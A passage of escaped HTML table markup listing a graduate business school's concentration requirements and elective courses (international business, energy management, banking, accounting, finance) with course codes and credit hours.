width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 828</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;İnternational Management</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"width:31.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"31%\">\r\n  <p>&nbsp;MGT 810</p>\r\n  </td>\r\n  <td style=\"width:56.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td style=\"width:12.0%;padding:0in 0in 0in 0in;vertical-align:top\" width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n</tbody></table><br><br><p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<br><br><table>\r\n <tbody><tr>\r\n  <td colspan=\"2\" width=\"87%\">\r\n  <p>&nbsp;<strong>International&nbsp;Business&nbsp;&nbsp;&nbsp;</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>Requires\r\n  five of the following classes</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;IB 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Comparative Business Systems</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;LAW 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Business Law</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;IB 820</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Business</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;IB 825</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Business Environment</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 828</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 845</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Finance</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Marketing</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 890</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Global Supply Chain Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;Major Electives</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Three major electives can be chosen</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Marketing Research</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Financial Markets and Institutions</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p><strong>&nbsp;Energy Management</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;<strong>Requires five of the following classes</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Energy Economics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 815</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Energy Geopolitics and Global Energy Security</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 820</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Environmental Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 822</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Renewable Energy</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 825</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Energy Resources Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Energy Technology and Environment</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 805</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Oil, Gas and Petrochemical Industries</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;Major Electives</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Three major electives can be chosen</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 851</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Investment Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ECON 880</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Economics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 825</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Management and Cross National Environment</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Quantitative Research Methods</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;<strong>Banking</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;<strong>Requires five of the following classes</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 835</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Bank Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 845</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Finance</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Financial Markets and Institutions</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Financial Risk Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 878</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Commercial and Investment Banking</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 885</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Financial Statements Analysis</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 877</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Portfolio Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;Major Electives</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Three major electives can be chosen</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 875</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Behavioral Finance</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 855</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Taxation</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ACC 900</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Accounting, Finance and Law</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Research Methods</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p><strong>World EconomyInternational Economic Relations</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p><strong>Choose five classes from concentration courses\r\n  or electives</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 849</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Marketing</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 845</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Finance</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;IB 844</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Trade</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 895</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ECON 880</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Economics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;IB 820</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Business</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;IB 845</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Economic Development</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ECON 890</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Economic Development and Migration Processes</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ECON 900</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Economics and Migration</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ECON 895</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Introduction to Migration Studies</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Master Thesis</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;Major Electives</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Three major electives can be chosen</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Financial Markets and Institutions</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 851</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Investment Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Research Methods</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ECON 920</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Economics of Natural Resources</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ACC 900</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Accounting, Finance and Law</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ECON 950</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Regular and irregular migration, trafficking\r\n  and smuggling</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 845</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Globalization and Human Resource Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p><strong>Accounting and Audit&nbsp;in Service Industry</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p><strong>&nbsp;Requires five of the following classes</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ACC 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Auditing</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 855</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Taxation</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ACC 860</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Accounting Information Systems</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ACC 870</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Accounting Practices</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ACC 880</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Advanced Accounting Topics in Service Industry</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 880</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Financial Reporting and Analysis</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ACC 855</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Accounting in Service Industry</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;Major Electives</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Three major electives can be chosen</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 845</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Finance</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Financial Risk Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 840</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Financial Management and Policy</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;ACC 900</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Accounting, Finance and Law</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;<strong>Financial Management</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Requires five of the following classes</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 851</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Investment Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 855</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Taxation</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 890</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Advanced Corporate Finance</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 840</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  